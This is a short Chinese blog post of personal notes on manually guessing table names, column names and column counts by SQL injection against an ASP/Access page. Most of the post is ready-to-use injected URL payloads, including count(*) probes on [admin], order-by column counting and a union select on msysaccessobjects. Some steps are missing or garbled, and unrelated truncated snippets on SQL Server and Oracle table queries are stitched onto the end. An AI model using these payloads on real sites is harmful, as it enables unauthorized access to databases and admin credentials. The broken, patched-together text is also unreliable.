sql注入,手動猜表名欄位名

2021-06-16 09:35:43 字數 1086 閱讀 4627

方法從網上看來的,記下來以後看。

1,猜表名:

錯誤結果顯示公尺有user表。

abc.asp?id=12 and 0 <= (select count(*) from [admin])

載入。。。,說明存在表admin。

2,猜欄位名:

abc.asp?id=12 and 0 <= (select count(id) from [admin])

載入。。。,說明表admin有欄位id。

載入。。。,說明表admin有欄位adminpwd。

3,檢視字段個數

abc.asp?id=12 order by 10 

載入abc.asp?id=12 order by 20 

載入abc.asp?id=12 order by 27 

載入abc.asp?id=12 order by 28

說明表有27個字段

abc.asp?id=12 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from msysaccessobjects%00

載入。。。。

SQL 更新表名,欄位名語句

修改表名 exec sp rename 原表名 新錶名 修改欄位名 exec sp rename 表名 欄位名 新欄位名 新增字段 alter table 表名 add 列名 字段型別 如果欄位不為空,需要先新增乙個預設值 alter table 表名 add 列名 字段型別 not null de...

取Oracle 表名 欄位名

檢視oracle 資料庫中本使用者下的所有表 select table name from user tables 檢視oracle 資料庫中所有使用者下的所有表 select user,table name from all tables 檢視oracle 資料庫中本使用者下的所有列 select...

取Oracle 表名 欄位名

取 oracle 表名 欄位名 注釋等實用語句 sql 檢視oracle 資料庫中本使用者下的所有表 select table name from user tables 檢視oracle 資料庫中所有使用者下的所有表 select user,table name from all tables 檢...